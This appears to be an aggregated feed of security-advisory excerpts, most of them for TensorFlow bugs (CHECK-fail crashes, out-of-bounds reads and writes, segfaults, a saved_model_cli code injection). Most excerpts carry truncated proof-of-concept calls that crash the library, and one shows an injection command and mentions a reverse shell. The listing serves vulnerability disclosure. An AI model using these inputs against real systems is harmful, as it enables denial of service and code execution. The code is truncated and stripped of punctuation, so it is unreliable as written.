TensorFlow vulnerable to `CHECK` fail in `DenseBincount`

Impact DenseBincount assumes its input tensor weights to either have the same shape as its input tensor input or to be length-0. A different weights shape will trigger a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf binaryoutput = True input =...

TensorFlow vulnerable to `CHECK` failure in `AvgPoolOp`

Impact The AvgPoolOp function takes an argument ksize that must be positive but is not checked. A negative ksize can trigger a CHECK failure and crash the program. python import tensorflow as tf import numpy as np value = np.ones1, 1, 1, 1 ksize = 1, 1e20, 1, 1 strides = 1, 1, 1, 1 padding = 'SAM...

TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`

Impact If QuantizeAndDequantizeV3 is given a nonscalar numbits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf signedinput = True rangegiven = False narrowrange = False axis = -1 input = tf.constant-3.5, shape=1,...

TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`

Impact If RaggedTensorToVariant is given a rtnestedsplits list that contains tensors of ranks other than one, it results in a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf batchedinput = True rtnestedsplits = tf.constant0,32,64, shape=3,...

TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannel`

Impact If FakeQuantWithMinMaxVarsPerChannel is given min or max tensors of a rank other than one, it results in a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf numbits = 8 narrowrange = False inputs = tf.constant0, shape=4, dtype=tf.float32 min ...

TensorFlow segfault TFLite converter on per-channel quantized transposed convolutions

Impact When converting transposed convolutions using per-channel weight quantization the converter segfaults and crashes the Python process. python import tensorflow as tf class QuantConv2DTransposedtf.keras.layers.Layer: def buildself, inputshape: self.kernel = self.addweight"kernel", 3, 3,...

TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite

Impact The ScatterNd function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will either write content at the wrong index or trigger a crash. Patches We have patched the issue in GitHub commit...

TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite

Impact The GatherNd function takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read is triggered. Patches We have patched the issue in GitHub commit...

TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows

Impact The implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf tf.reshapetensor=1,shape=tf.constant0 for i in range255, dtype=tf.int64 This i...

TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation

Impact The implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure assertion failure caused by assuming input0, input1, and input2 to be scalar. python import tensorflow as tf tf.rawops.SobolSampledim=tf.constant1,0, numresults=tf.constant1, skip=tf.constant1 Patche...

TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross`

Impact If tf.sparse.cross receives an input separator that is not a scalar, it gives a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf tf.sparse.crossinputs=,name='a',separator=tf.constant'a', 'b',dtype=tf.string Patches We have patched the issue ...

TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

Impact When Conv2DBackpropInput receives empty outbackprop inputs e.g. 3, 1, 0, 1, the current CPU/GPU kernels CHECK fail one with dnnl, the other with cudnn. This can be used to trigger a denial of service attack. python import tensorflow as tf import numpy as np inputsizes = 3, 1, 1, 2 filter =...

scap-security-guide bug fix and enhancement update

An update for scap-security-guide is now available for Rocky Linux 8. The scap-security-guide project provides a guide for configuration of the system from the final system's security point of view. The guidance is specified in the Security Content Automation Protocol SCAP format and constitutes ...

`CHECK` failure in depthwise ops via overflows

Impact The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf input = tf.constant1, shape=1, 4, 4, 3, dtype=tf.float32 filtersizes =...

Code injection in `saved_model_cli` in TensorFlow

Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...

Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow

Impact The implementation of tf.histogramfixedwidth is vulnerable to a crash when the values array contain NaN elements: python import tensorflow as tf import numpy as np tf.histogramfixedwidthvalues=np.nan, valuerange=1,2 The implementation assumes that all floating point operations are defined...

Heap buffer overflow due to incorrect hash function in TensorFlow

Impact The TensorKey hash function used total estimated AllocatedBytes, which a is an estimate per tensor, and b is a very poor hash function for constants e.g. int32t. It also tried to access individual tensor bytes through tensor.data of size AllocatedBytes. This led to ASAN failures because th...

Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

Impact The implementation of tf.rawops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service: python import tensorflow as tf hypothesisindices = tf.constant-1250999896764, shape=3, 3, dtype=tf.int64 hypothesisvalues =...

Undefined behavior when users supply invalid resource handles

Impact Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid: python import tensorflow as tf tf.rawops.QueueIsClosedV2handle= python import tensorflow as tf tf.summary.flushwriter= In graph mode, it would have been impossible to perform these...

Missing validation results in undefined behavior in `SparseTensorDenseAdd

Impact The implementation of tf.rawops.SparseTensorDenseAdd does not fully validate the input arguments: python import tensorflow as tf aindices = tf.constant0, shape=17, 2, dtype=tf.int64 avalues = tf.constant, shape=0, dtype=tf.float32 ashape = tf.constant6, 12, shape=2, dtype=tf.int64 b =...